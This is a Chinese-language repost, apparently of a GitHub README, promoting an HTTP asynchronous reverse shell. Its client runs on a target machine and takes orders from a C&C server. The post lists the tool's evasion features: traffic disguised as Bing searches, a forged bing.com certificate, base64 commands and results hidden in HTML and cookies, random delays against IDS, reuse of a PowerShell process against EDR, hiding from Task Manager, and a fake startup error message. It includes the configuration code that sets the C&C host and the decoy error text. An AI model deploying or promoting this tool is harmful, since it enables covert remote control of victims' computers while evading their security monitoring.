HTTP异步反向Shell
有很多方法可以创建反向shell,以便能够通过防火墙远程控制计算机。确实,传出连接并不总是被过滤。
但是,安全软件和硬件(IPS,IDS,Proxy,AV,EDR等)功能越来越强大,可以检测到这些攻击。在大多数情况下,通过TCP或UDP隧道建立与反向Shell的连接。我认为最好的检测方法是使它看起来像合法流量。HTTP协议是标准用户最常使用的协议。而且,它几乎从未被过滤,以免阻止访问网站。
怎么运行的 ?
- 客户端应用程序在目标计算机上执行。
- 客户端启动与服务器的连接。
- 服务器接受连接。
然后:
- 客户端查询服务器,直到获得指示。
- 攻击者向服务器提供指令。
- 定义命令后,客户端将执行该命令并返回结果。
依此类推,直到攻击者决定结束会话为止。
特征
实现了以下功能:
- 伪造的HTTP流量显示为在bing.com上的搜索。
- 命令在HTML响应中以base64编码。
- 客户端将命令的结果编码为base64中的cookie。
- [可选] SSL支持;默认情况下,它是伪造的bing.com证书。
- 每个客户端调用之间的随机延迟,以避免触发IDS。
- 服务器的每个响应都使用随机模板。
- 重新使用相同的Powershell流程,以避免触发EDR。
- 支持所有Cmd和Powershell命令。
- [可选]客户端可以在启动时显示伪造的错误消息。
- 客户端从任务管理器中隐藏。
- [可选]客户端可以管理员身份运行。
使用示例
有一些配置参数可以在HARS.sln中的Config.cs修改。
1234567891011121314151617181920212223 | class Config { /* Behavior */ // Display a fake error msg at startup public static bool DisplayErrorMsg = true; // Title of fake error msg public static string ErrorMsgTitle = "This application could not be started."; // Description of fake error msg public static string ErrorMsgDesc = "Unhandled exception has occured in your application. rr Object { 0} is not valid."; // Min delay between the client calls public static int MinDelay = 2; // Max delay between the client calls public static int MaxDelay = 5; // Fake uri requested - Warning : it must begin with "search" (or need a change on server side) public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid="; /* Listener */ // Hostname/IP of C&C server public static string Server = "https://127.0.0.1"; // Listening port of C&C server public static string Port = "443"; // Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy public static bool AllowInsecureCertificate = true; } |
更多文档直接看项目说明。
项目地址:https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell